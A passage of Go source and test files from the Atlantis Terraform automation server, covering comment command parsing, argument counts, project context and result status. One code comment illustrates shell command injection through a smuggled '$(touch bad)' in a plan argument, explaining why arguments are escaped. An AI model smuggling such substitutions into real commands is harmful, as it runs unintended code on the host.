operations\n\tCancel\n\t// Adding more? Don't forget to update String() below\n)\n\ntype ArgCount struct {\n\tMin int\n\tMax int\n}\n\n// AllCommentCommands are list of commands that can be run from a comment.\nvar AllCommentCommands = []Name{\n\tVersion,\n\tPlan,\n\tApply,\n\tCancel,\n\tUnlock,\n\tApprovePolicies,\n\tImport,\n\tState,\n}\n\n// TitleString returns the string representation in title form.\n// ie. policy_check becomes Policy Check\nfunc (c Name) TitleString() string {\n\treturn cases.Title(language.English).String(strings.ReplaceAll(strings.ToLower(c.String()), \"_\", \" \"))\n}\n\n// String returns the string representation of c.\nfunc (c Name) String() string {\n\tswitch c {\n\tcase Apply:\n\t\treturn \"apply\"\n\tcase Plan, Autoplan:\n\t\treturn \"plan\"\n\tcase Unlock:\n\t\treturn \"unlock\"\n\tcase PolicyCheck:\n\t\treturn \"policy_check\"\n\tcase ApprovePolicies:\n\t\treturn \"approve_policies\"\n\tcase Version:\n\t\treturn \"version\"\n\tcase Import:\n\t\treturn \"import\"\n\tcase State:\n\t\treturn \"state\"\n\tcase Cancel:\n\t\treturn \"cancel\"\n\t}\n\treturn \"\"\n}\n\n// DefaultUsage returns the command default usage\nfunc (c Name) DefaultUsage() string {\n\tswitch c {\n\tcase Import:\n\t\treturn \"import ADDRESS ID\"\n\tcase State:\n\t\treturn \"state [rm ADDRESS...]\"\n\tdefault:\n\t\treturn c.String()\n\t}\n}\n\n// SubCommands returns the list of sub commands for the command\nfunc (c Name) SubCommands() []string {\n\tswitch c {\n\tcase State:\n\t\treturn []string{\"rm\"}\n\tdefault:\n\t\treturn nil\n\t}\n}\n\n// CommandArgCount returns the number of required arguments for the command\nfunc (c Name) CommandArgCount(subCommand string) (*ArgCount, error) {\n\tswitch c {\n\tcase Import:\n\t\treturn &ArgCount{2, 2}, nil // \"atlantis import ADDRESS ID\"\n\tcase State:\n\t\tif subCommand == \"rm\" {\n\t\t\treturn &ArgCount{1, -1}, nil // \"atlantis state rm ADDRESS...\"\n\t\t}\n\t\treturn nil, fmt.Errorf(\"command arg count unknown sub command: %s\", subCommand)\n\tdefault:\n\t\treturn &ArgCount{0, 0}, nil // other command doesn't require any args\n\t}\n}\n\n// IsMatchCount returns true if the number of arguments matches the requirement\nfunc (a ArgCount) IsMatchCount(count int) bool {\n\tif a.Min != -1 {\n\t\tif count < a.Min {\n\t\t\treturn false\n\t\t}\n\t}\n\tif a.Max != -1 {\n\t\tif count > a.Max {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\n// ParseCommandName parses raw name into a command name.\nfunc ParseCommandName(name string) (Name, error) {\n\tswitch name {\n\tcase \"apply\":\n\t\treturn Apply, nil\n\tcase \"plan\":\n\t\treturn Plan, nil\n\tcase \"unlock\":\n\t\treturn Unlock, nil\n\tcase \"policy_check\":\n\t\treturn PolicyCheck, nil\n\tcase \"approve_policies\":\n\t\treturn ApprovePolicies, nil\n\tcase \"version\":\n\t\treturn Version, nil\n\tcase \"import\":\n\t\treturn Import, nil\n\tcase \"state\":\n\t\treturn State, nil\n\tcase \"cancel\":\n\t\treturn Cancel, nil\n\t}\n\treturn -1, fmt.Errorf(\"unknown command name: %s\", name)\n}\n"
  },
  {
    "path": "server/events/command/name_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command_test\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"reflect\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestName_TitleString(t *testing.T) {\n\ttests := []struct {\n\t\tc    command.Name\n\t\twant string\n\t}{\n\t\t{command.Apply, \"Apply\"},\n\t\t{command.PolicyCheck, \"Policy Check\"},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.want, func(t *testing.T) {\n\t\t\tif got := tt.c.TitleString(); got != tt.want {\n\t\t\t\tt.Errorf(\"TitleString() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestName_String(t *testing.T) {\n\ttests := []struct {\n\t\tc    command.Name\n\t\twant string\n\t}{\n\t\t{command.Apply, \"apply\"},\n\t\t{command.Plan, \"plan\"},\n\t\t{command.Unlock, \"unlock\"},\n\t\t{command.PolicyCheck, \"policy_check\"},\n\t\t{command.ApprovePolicies, \"approve_policies\"},\n\t\t{command.Version, \"version\"},\n\t\t{command.Import, \"import\"},\n\t\t{command.State, \"state\"},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.want, func(t *testing.T) {\n\t\t\tif got := tt.c.String(); got != tt.want {\n\t\t\t\tt.Errorf(\"String() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestName_DefaultUsage(t *testing.T) {\n\ttests := []struct {\n\t\tc    command.Name\n\t\twant string\n\t}{\n\t\t{command.Apply, \"apply\"},\n\t\t{command.Plan, \"plan\"},\n\t\t{command.Unlock, \"unlock\"},\n\t\t{command.PolicyCheck, \"policy_check\"},\n\t\t{command.ApprovePolicies, \"approve_policies\"},\n\t\t{command.Version, \"version\"},\n\t\t{command.Import, \"import ADDRESS ID\"},\n\t\t{command.State, \"state [rm ADDRESS...]\"},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.c.String(), func(t *testing.T) {\n\t\t\tif got := tt.c.DefaultUsage(); got != tt.want {\n\t\t\t\tt.Errorf(\"DefaultUsage() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestName_SubCommands(t *testing.T) {\n\ttests := []struct {\n\t\tc    command.Name\n\t\twant []string\n\t}{\n\t\t{c: command.Apply},\n\t\t{c: command.Plan},\n\t\t{c: command.Unlock},\n\t\t{c: command.PolicyCheck},\n\t\t{c: command.ApprovePolicies},\n\t\t{c: command.Version},\n\t\t{c: command.Import},\n\t\t{c: command.State, want: []string{\"rm\"}},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.c.String(), func(t *testing.T) {\n\t\t\tif got := tt.c.SubCommands(); !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"SubCommands() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestName_CommandArgCount(t *testing.T) {\n\ttests := []struct {\n\t\tc          command.Name\n\t\tsubCommand string\n\t\twant       *command.ArgCount\n\t\twantErr    bool\n\t}{\n\t\t{c: command.Apply, want: &command.ArgCount{}},\n\t\t{c: command.Plan, want: &command.ArgCount{}},\n\t\t{c: command.Unlock, want: &command.ArgCount{}},\n\t\t{c: command.PolicyCheck, want: &command.ArgCount{}},\n\t\t{c: command.ApprovePolicies, want: &command.ArgCount{}},\n\t\t{c: command.Version, want: &command.ArgCount{}},\n\t\t{c: command.Import, want: &command.ArgCount{Min: 2, Max: 2}},\n\t\t{c: command.State, subCommand: \"rm\", want: &command.ArgCount{Min: 1, Max: -1}},\n\t\t{c: command.State, subCommand: \"unknown\", wantErr: true},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"%s %s\", tt.c, tt.subCommand), func(t *testing.T) {\n\t\t\tgot, err := tt.c.CommandArgCount(tt.subCommand)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"CommandArgCount() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"CommandArgCount() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestArgCount_IsMatchCount(t *testing.T) {\n\ttype fields struct {\n\t\tMin int\n\t\tMax int\n\t}\n\ttests := []struct {\n\t\tname   string\n\t\tfields fields\n\t\tcount  int\n\t\twant   bool\n\t}{\n\t\t{name: \"[0,0] success\", fields: fields{Min: 0, Max: 0}, count: 0, want: true},\n\t\t{name: \"[0,0] failure\", fields: fields{Min: 0, Max: 0}, count: 1, want: false},\n\t\t{name: \"[1,1] success\", fields: fields{Min: 1, Max: 1}, count: 1, want: true},\n\t\t{name: \"[1,1] failure1\", fields: fields{Min: 1, Max: 1}, count: 0, want: false},\n\t\t{name: \"[1,1] failure2\", fields: fields{Min: 1, Max: 1}, count: 2, want: false},\n\t\t{name: \"[-inf,1] success1\", fields: fields{Min: -1, Max: 1}, count: 0, want: true},\n\t\t{name: \"[-inf,1] success2\", fields: fields{Min: -1, Max: 1}, count: 1, want: true},\n\t\t{name: \"[-inf,1] failure\", fields: fields{Min: -1, Max: 1}, count: 2, want: false},\n\t\t{name: \"[1,inf] success1\", fields: fields{Min: 1, Max: -1}, count: 1, want: true},\n\t\t{name: \"[1,inf] success2\", fields: fields{Min: 1, Max: -1}, count: math.MaxInt, want: true},\n\t\t{name: \"[1,inf] failure\", fields: fields{Min: 1, Max: -1}, count: 0, want: false},\n\t\t{name: \"[-inf,inf] success\", fields: fields{Min: -1, Max: -1}, count: 0, want: true},\n\t\t{name: \"[-inf,inf] success\", fields: fields{Min: -1, Max: -1}, count: math.MaxInt, want: true},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ta := command.ArgCount{\n\t\t\t\tMin: tt.fields.Min,\n\t\t\t\tMax: tt.fields.Max,\n\t\t\t}\n\t\t\tif got := a.IsMatchCount(tt.count); got != tt.want {\n\t\t\t\tt.Errorf(\"IsMatchCount() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestParseCommandName(t *testing.T) {\n\ttests := []struct {\n\t\texp  command.Name\n\t\tname string\n\t}{\n\t\t{command.Apply, \"apply\"},\n\t\t{command.Plan, \"plan\"},\n\t\t{command.Unlock, \"unlock\"},\n\t\t{command.PolicyCheck, \"policy_check\"},\n\t\t{command.ApprovePolicies, \"approve_policies\"},\n\t\t{command.Version, \"version\"},\n\t\t{command.Import, \"import\"},\n\t\t{command.State, \"state\"},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := command.ParseCommandName(tt.name)\n\t\t\trequire.NoError(t, err)\n\t\t\tassert.Equal(t, tt.exp, got)\n\t\t})\n\t}\n\n\tt.Run(\"unknown command\", func(t *testing.T) {\n\t\t_, err := command.ParseCommandName(\"unknown\")\n\t\tassert.ErrorContains(t, err, \"unknown command name: unknown\")\n\t})\n}\n"
  },
  {
    "path": "server/events/command/project_context.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\nconst (\n\tplanfileSlashReplace = \"::\"\n)\n\n// ProjectContext defines the context for a plan or apply stage that will\n// be executed for a project.\ntype ProjectContext struct {\n\tCommandName Name\n\tSubCommand  string\n\t// ApplyCmd is the command that users should run to apply this plan. If\n\t// this is an apply then this will be empty.\n\tApplyCmd string\n\t// ApprovePoliciesCmd is the command that users should run to approve policies for this plan. If\n\t// this is an apply then this will be empty.\n\tApprovePoliciesCmd string\n\t// PlanRequirements is the list of requirements that must be satisfied\n\t// before we will run the plan stage.\n\tPlanRequirements []string\n\t// ApplyRequirements is the list of requirements that must be satisfied\n\t// before we will run the apply stage.\n\tApplyRequirements []string\n\t// ImportRequirements is the list of requirements that must be satisfied\n\t// before we will run the import stage.\n\tImportRequirements []string\n\t// AutomergeEnabled is true if automerge is enabled for the repo that this\n\t// project is in.\n\tAutomergeEnabled bool\n\t// ParallelApplyEnabled is true if parallel apply is enabled for this project.\n\tParallelApplyEnabled bool\n\t// ParallelPlanEnabled is true if parallel plan is enabled for this project.\n\tParallelPlanEnabled bool\n\t// ParallelPolicyCheckEnabled is true if parallel policy_check is enabled for this project.\n\tParallelPolicyCheckEnabled bool\n\t// AutoplanEnabled is true if autoplanning is enabled for this project.\n\tAutoplanEnabled bool\n\t// BaseRepo is the repository that the pull request will be merged into.\n\tBaseRepo models.Repo\n\t// EscapedCommentArgs are the extra arguments that were added to the atlantis\n\t// command, ex. atlantis plan -- -target=resource. We then escape them\n\t// by adding a \\ before each character so that they can be used within\n\t// sh -c safely, i.e. sh -c \"terraform plan $(touch bad)\".\n\tEscapedCommentArgs []string\n\t// HeadRepo is the repository that is getting merged into the BaseRepo.\n\t// If the pull request branch is from the same repository then HeadRepo will\n\t// be the same as BaseRepo.\n\tHeadRepo models.Repo\n\t// Dependencies are a list of project that this project relies on\n\t// their apply status. These projects must be applied first.\n\t//\n\t// Atlantis uses this information to valid the apply\n\t// orders and to warn the user if they're applying a project that\n\t// depends on other projects.\n\tDependsOn []string\n\t// Log is a logger that's been set up for this context.\n\tLog logging.SimpleLogging\n\t// Scope is the scope for reporting stats setup for this context\n\tScope tally.Scope\n\t// PullReqStatus holds state about the PR that requires additional computation outside models.PullRequest\n\tPullReqStatus models.PullReqStatus\n\t// CurrentProjectPlanStatus is the status of the current project prior to this command.\n\tProjectPlanStatus models.ProjectPlanStatus\n\t//PullStatus is the status of the current pull request prior to this command.\n\tPullStatus *models.PullStatus\n\t// ProjectPolicyStatus is the status of policy sets of the current project prior to this command.\n\tProjectPolicyStatus []models.PolicySetStatus\n\n\t// Pull is the pull request we're responding to.\n\tPull models.PullRequest\n\t// ProjectName is the name of the project set in atlantis.yaml. If there was\n\t// no name this will be an empty string.\n\tProjectName string\n\t// RepoConfigVersion is the version of the repo's atlantis.yaml file. If\n\t// there was no file, this will be 0.\n\tRepoConfigVersion int\n\t// RePlanCmd is the command that users should run to re-plan this project.\n\t// If this is an apply then this will be empty.\n\tRePlanCmd string\n\t// RepoRelDir is the directory of this project relative to the repo root.\n\tRepoRelDir string\n\t// Steps are the sequence of commands we need to run for this project and this\n\t// stage.\n\tSteps []valid.Step\n\t// TerraformDistribution is the distribution of terraform we should use when\n\t// executing commands for this project. This can be set to nil in which case\n\t// we will use the default Atlantis terraform distribution.\n\tTerraformDistribution *string\n\t// TerraformVersion is the version of terraform we should use when executing\n\t// commands for this project. This can be set to nil in which case we will\n\t// use the default Atlantis terraform version.\n\tTerraformVersion *version.Version\n\t// Configuration metadata for a given project.\n\tUser models.User\n\t// Verbose is true when the user would like verbose output.\n\tVerbose bool\n\t// Workspace is the Terraform workspace this project is in. It will always\n\t// be set.\n\tWorkspace string\n\t// PolicySets represent the policies that are run on the plan as part of the\n\t// policy check stage\n\tPolicySets valid.PolicySets\n\t// PolicySetTarget describes which policy sets to target on the approve_policies step.\n\tPolicySetTarget string\n\t// ClearPolicyApproval determines whether policy counts will be incremented or cleared.\n\tClearPolicyApproval bool\n\t// DeleteSourceBranchOnMerge will attempt to allow a branch to be deleted when merged (AzureDevOps & GitLab Support Only)\n\tDeleteSourceBranchOnMerge bool\n\t// Repo locks mode: disabled, on plan or on apply\n\tRepoLocksMode valid.RepoLocksMode\n\t// RepoConfigFile\n\tRepoConfigFile string\n\t// UUID for atlantis logs\n\tJobID string\n\t// The index of order group. Before planning/applying it will use to sort projects. Default is 0.\n\tExecutionOrderGroup int\n\t// If plans/applies should be aborted if any prior plan/apply fails\n\tAbortOnExecutionOrderFail bool\n\t// Allows custom policy check tools outside of Conftest to run in checks\n\tCustomPolicyCheck bool\n\tSilencePRComments []string\n\n\t// TeamAllowlistChecker is used to check authorization on a project-level\n\tTeamAllowlistChecker TeamAllowlistChecker\n}\n\n// SetProjectScopeTags adds ProjectContext tags to a new returned scope.\nfunc (p ProjectContext) SetProjectScopeTags(scope tally.Scope) tally.Scope {\n\tv := \"\"\n\tif p.TerraformVersion != nil {\n\t\tv = p.TerraformVersion.String()\n\t}\n\n\ttags := ProjectScopeTags{\n\t\tBaseRepo:         p.BaseRepo.FullName,\n\t\tPrNumber:         strconv.Itoa(p.Pull.Num),\n\t\tProject:          p.ProjectName,\n\t\tProjectPath:      p.RepoRelDir,\n\t\tTerraformVersion: v,\n\t\tWorkspace:        p.Workspace,\n\t}\n\n\treturn scope.Tagged(tags.Loadtags())\n}\n\n// GetShowResultFileName returns the filename (not the path) to store the tf show result\nfunc (p ProjectContext) GetShowResultFileName() string {\n\tif p.ProjectName == \"\" {\n\t\treturn fmt.Sprintf(\"%s.json\", p.Workspace)\n\t}\n\tprojName := strings.ReplaceAll(p.ProjectName, \"/\", planfileSlashReplace)\n\treturn fmt.Sprintf(\"%s-%s.json\", projName, p.Workspace)\n}\n\n// GetPolicyCheckResultFileName returns the filename (not the path) to store the result from conftest_client.\nfunc (p ProjectContext) GetPolicyCheckResultFileName() string {\n\tif p.ProjectName == \"\" {\n\t\treturn fmt.Sprintf(\"%s-policyout.json\", p.Workspace)\n\t}\n\tprojName := strings.ReplaceAll(p.ProjectName, \"/\", planfileSlashReplace)\n\treturn fmt.Sprintf(\"%s-%s-policyout.json\", projName, p.Workspace)\n}\n\n// Gets a unique identifier for the current pull request as a single string\nfunc (p ProjectContext) PullInfo() string {\n\tnormalizedOwner := strings.ReplaceAll(p.BaseRepo.Owner, \"/\", \"-\")\n\tnormalizedName := strings.ReplaceAll(p.BaseRepo.Name, \"/\", \"-\")\n\tprojectRepo := fmt.Sprintf(\"%s/%s\", normalizedOwner, normalizedName)\n\n\treturn buildPullInfo(projectRepo, p.Pull.Num, p.ProjectName, p.RepoRelDir, p.Workspace)\n}\nfunc buildPullInfo(repoName string, pullNum int, projectName string, relDir string, workspace string) string {\n\tprojectIdentifier := getProjectIdentifier(relDir, projectName)\n\treturn fmt.Sprintf(\"%s/%d/%s/%s\", repoName, pullNum, projectIdentifier, workspace)\n}\n\nfunc getProjectIdentifier(relRepoDir string, projectName string) string {\n\tif projectName != \"\" {\n\t\treturn projectName\n\t}\n\t// Replace directory separator / with -\n\t// Replace . with _ to ensure projects with no project name and root dir set to \".\" have a valid URL\n\treplacer := strings.NewReplacer(\"/\", \"-\", \".\", \"_\")\n\treturn replacer.Replace(relRepoDir)\n}\n\n// PolicyCleared returns whether all policies are passing or not.\nfunc (p ProjectContext) PolicyCleared() bool {\n\tpassing := true\n\tfor _, psStatus := range p.ProjectPolicyStatus {\n\t\tif psStatus.Passed {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, psCfg := range p.PolicySets.PolicySets {\n\t\t\tif psStatus.PolicySetName == psCfg.Name {\n\t\t\t\tif psStatus.Approvals != psCfg.ApproveCount {\n\t\t\t\t\tpassing = false\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn passing\n}\n"
  },
  {
    "path": "server/events/command/project_context_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Test PolicyCleared and PolicySummary\nfunc TestPolicyCheckResults_PolicyFuncs(t *testing.T) {\n\tcases := []struct {\n\t\tdescription      string\n\t\tpolicySetsConfig valid.PolicySets\n\t\tpolicySetStatus  []models.PolicySetStatus\n\t\tpolicyClearedExp bool\n\t}{\n\t\t{\n\t\t\tdescription: \"single policy set, not passed\",\n\t\t\tpolicySetsConfig: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: false,\n\t\t},\n\t\t{\n\t\t\tdescription: \"single policy set, passed\",\n\t\t\tpolicySetsConfig: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        true,\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: true,\n\t\t},\n\t\t{\n\t\t\tdescription: \"single policy set, fully approved\",\n\t\t\tpolicySetsConfig: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tApprovals:     1,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: true,\n\t\t},\n\t\t{\n\t\t\tdescription: \"multiple policy sets, different states.\",\n\t\t\tpolicySetsConfig: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy3\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tApprovals:     1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy3\",\n\t\t\t\t\tPassed:        true,\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: false,\n\t\t},\n\t\t{\n\t\t\tdescription: \"multiple policy sets, all cleared.\",\n\t\t\tpolicySetsConfig: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy3\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tApprovals:     2,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tApprovals:     1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy3\",\n\t\t\t\t\tPassed:        true,\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: true,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tpcs := command.ProjectContext{\n\t\t\t\tProjectPolicyStatus: c.policySetStatus,\n\t\t\t\tPolicySets:          c.policySetsConfig,\n\t\t\t}\n\t\t\tEquals(t, c.policyClearedExp, pcs.PolicyCleared())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/command/project_result.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\n// ProjectResult is the result of executing a plan/policy_check/apply for a specific project.\ntype ProjectResult struct {\n\tProjectCommandOutput\n\tCommand           Name\n\tSubCommand        string\n\tRepoRelDir        string\n\tWorkspace         string\n\tProjectName       string\n\tSilencePRComments []string\n}\n\n// ProjectCommandOutput is the output of a plan/policy_check/apply for a specific project.\ntype ProjectCommandOutput struct {\n\tError              error\n\tFailure            string\n\tPlanSuccess        *models.PlanSuccess\n\tPolicyCheckResults *models.PolicyCheckResults\n\tApplySuccess       string\n\tVersionSuccess     string\n\tImportSuccess      *models.ImportSuccess\n\tStateRmSuccess     *models.StateRmSuccess\n}\n\n// CommitStatus returns the vcs commit status of this project result.\nfunc (p ProjectResult) CommitStatus() models.CommitStatus {\n\tif p.Error != nil {\n\t\treturn models.FailedCommitStatus\n\t}\n\tif p.Failure != \"\" {\n\t\treturn models.FailedCommitStatus\n\t}\n\treturn models.SuccessCommitStatus\n}\n\n// PolicyStatus returns the approval status of policy sets of this project result.\nfunc (p ProjectResult) PolicyStatus() []models.PolicySetStatus {\n\tvar policyStatuses []models.PolicySetStatus\n\tif p.PolicyCheckResults != nil {\n\t\tfor _, policySet := range p.PolicyCheckResults.PolicySetResults {\n\t\t\tpolicyStatus := models.PolicySetStatus{\n\t\t\t\tPolicySetName: policySet.PolicySetName,\n\t\t\t\tPassed:        policySet.Passed,\n\t\t\t\tApprovals:     policySet.CurApprovals,\n\t\t\t}\n\t\t\tpolicyStatuses = append(policyStatuses, policyStatus)\n\t\t}\n\t}\n\treturn policyStatuses\n}\n\n// PlanStatus returns the plan status.\nfunc (p ProjectResult) PlanStatus() models.ProjectPlanStatus {\n\tswitch p.Command {\n\n\tcase Plan:\n\t\tif p.Error != nil {\n\t\t\treturn models.ErroredPlanStatus\n\t\t} else if p.Failure != \"\" {\n\t\t\treturn models.ErroredPlanStatus\n\t\t} else if p.PlanSuccess.NoChanges() {\n\t\t\treturn models.PlannedNoChangesPlanStatus\n\t\t}\n\t\treturn models.PlannedPlanStatus\n\tcase PolicyCheck, ApprovePolicies:\n\t\tif p.Error != nil {\n\t\t\treturn models.ErroredPolicyCheckStatus\n\t\t} else if p.Failure != \"\" {\n\t\t\treturn models.ErroredPolicyCheckStatus\n\t\t}\n\t\treturn models.PassedPolicyCheckStatus\n\tcase Apply:\n\t\tif p.Error != nil {\n\t\t\treturn models.ErroredApplyStatus\n\t\t} else if p.Failure != \"\" {\n\t\t\treturn models.ErroredApplyStatus\n\t\t}\n\t\treturn models.AppliedPlanStatus\n\t}\n\n\tpanic(\"PlanStatus() missing a combination\")\n}\n\n// IsSuccessful returns true if this project result had no errors.\nfunc (p ProjectResult) IsSuccessful() bool {\n\treturn p.PlanSuccess != nil || (p.PolicyCheckResults != nil && p.Error == nil && p.Failure == \"\") || p.ApplySuccess != \"\"\n}\n"
  },
  {
    "path": "server/events/command/project_result_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestProjectResult_IsSuccessful(t *testing.T) {\n\tcases := map[string]struct {\n\t\tpr  command.ProjectResult\n\t\texp bool\n\t}{\n\t\t\"plan success\": {\n\t\t\tcommand.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{},\n\t\t\t\t},\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t\"policy_check success\": {\n\t\t\tcommand.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{},\n\t\t\t\t},\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t\"apply success\": {\n\t\t\tcommand.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t},\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t\"failure\": {\n\t\t\tcommand.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t\"error\": {\n\t\t\tcommand.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t},\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.pr.IsSuccessful())\n\t\t})\n\t}\n}\n\nfunc TestProjectResult_PlanStatus(t *testing.T) {\n\tcases := []struct {\n\t\tp         command.ProjectResult\n\t\texpStatus 